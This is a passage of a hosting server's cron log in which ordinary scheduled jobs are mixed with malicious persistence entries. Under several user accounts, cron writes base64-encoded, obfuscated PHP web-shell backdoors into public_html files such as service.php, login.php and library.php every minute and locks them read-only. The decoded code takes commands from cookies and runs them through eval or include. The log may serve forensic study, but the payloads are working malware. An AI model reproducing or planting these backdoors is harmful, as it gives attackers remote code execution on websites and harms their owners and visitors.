vyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:46:01 medusa CROND[28995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:46:01 medusa CROND[28993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:46:01 medusa CROND[28998]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:46:01 medusa CROND[29000]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:46:01 medusa CROND[29001]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:46:01 medusa CROND[29007]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:46:01 medusa CROND[29008]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:46:01 medusa CROND[29016]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:47:01 medusa CROND[15141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:47:02 medusa CROND[15353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:47:02 medusa CROND[15354]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:47:02 medusa CROND[15356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:47:02 medusa CROND[15355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:47:02 medusa CROND[15357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:47:02 medusa CROND[15373]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:47:02 medusa CROND[15374]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:47:02 medusa CROND[15375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:47:02 medusa CROND[15379]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:47:02 medusa CROND[15380]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:47:02 medusa CROND[15377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:47:02 medusa CROND[15382]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 16:48:01 medusa CROND[628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:48:01 medusa CROND[671]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:48:01 medusa CROND[877]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:48:01 medusa CROND[878]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:48:01 medusa CROND[880]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:48:01 medusa CROND[887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:48:01 medusa CROND[891]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:48:01 medusa CROND[892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:48:01 medusa CROND[897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:48:01 medusa CROND[898]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:48:01 medusa CROND[899]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:48:01 medusa CROND[902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdH